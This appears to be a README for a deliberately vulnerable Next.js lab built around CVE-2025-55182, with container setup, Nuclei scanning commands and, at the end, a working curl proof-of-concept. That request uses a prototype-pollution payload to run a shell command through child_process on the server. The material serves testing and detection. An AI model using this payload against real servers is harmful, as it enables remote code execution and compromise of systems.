# Build and start the vulnerable environment
podman compose up --build -d

# Check it's running
curl http://localhost:3000/api/status

# View logs
podman logs -f react2shell-vuln

# Stop
podman compose down

# Build and start the vulnerable environment
docker-compose up --build -d

# Access the application at http://localhost:3000

.
├── README.md               # このファイル
├── Dockerfile              # コンテナビルド手順
├── Dockerfile.dev          # ホットリロード対応の開発用コンテナ
├── docker-compose.yml      # Docker/Podman Compose 設定
├── CVE-2025-55182.yaml     # Nuclei スキャナテンプレート
├── scan.sh                 # 汎用 Nuclei スキャナスクリプト
├── scan-results/           # スキャン出力ディレクトリ
└── vulnerable-app/         # 脆弱な Next.js アプリケーション
    ├── package.json        # 依存関係 (脆弱なバージョン)
    ├── next.config.js      # Next.js 設定
    ├── tsconfig.json       # TypeScript 設定
    └── app/                # App Router のページとコンポーネント
        ├── layout.tsx      # ルートレイアウト
        ├── page.tsx        # Server Components を含むメインページ
        ├── globals.css     # スタイル
        ├── actions.ts      # Server Actions
        ├── api/status/     # ステータス API エンドポイント
        └── components/     # React コンポーネント

curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml

# Scan the local vulnerable app
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v

# Scan any target
./scan.sh -u https://example.com -t CVE-2025-55182.yaml

# Scan with all Nuclei templates
./scan.sh -u https://example.com

# Scan multiple targets from a file
./scan.sh -l targets.txt -t CVE-2025-55182.yaml

# Filter by severity
./scan.sh -u https://example.com -s critical,high

# JSON output
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j

podman run --rm \
    -v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
    docker.io/projectdiscovery/nuclei:latest \
    -t /templates/CVE-2025-55182.yaml \
    -u "http://host.docker.internal:3000" \
    -v

{
  "dependencies": {
    "next": "15.5.7",
    "react": "^19.1.2",
    "react-dom": "^19.1.2"
  }
}

# Podman
podman compose down
podman compose up --build -d

# Docker
docker-compose down
docker-compose up --build

curl -X POST http://localhost:3000 \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -H "X-Nextjs-Request-Id: test123" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
    "_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
  -i 2>&1 | grep -i "x-action-redirect"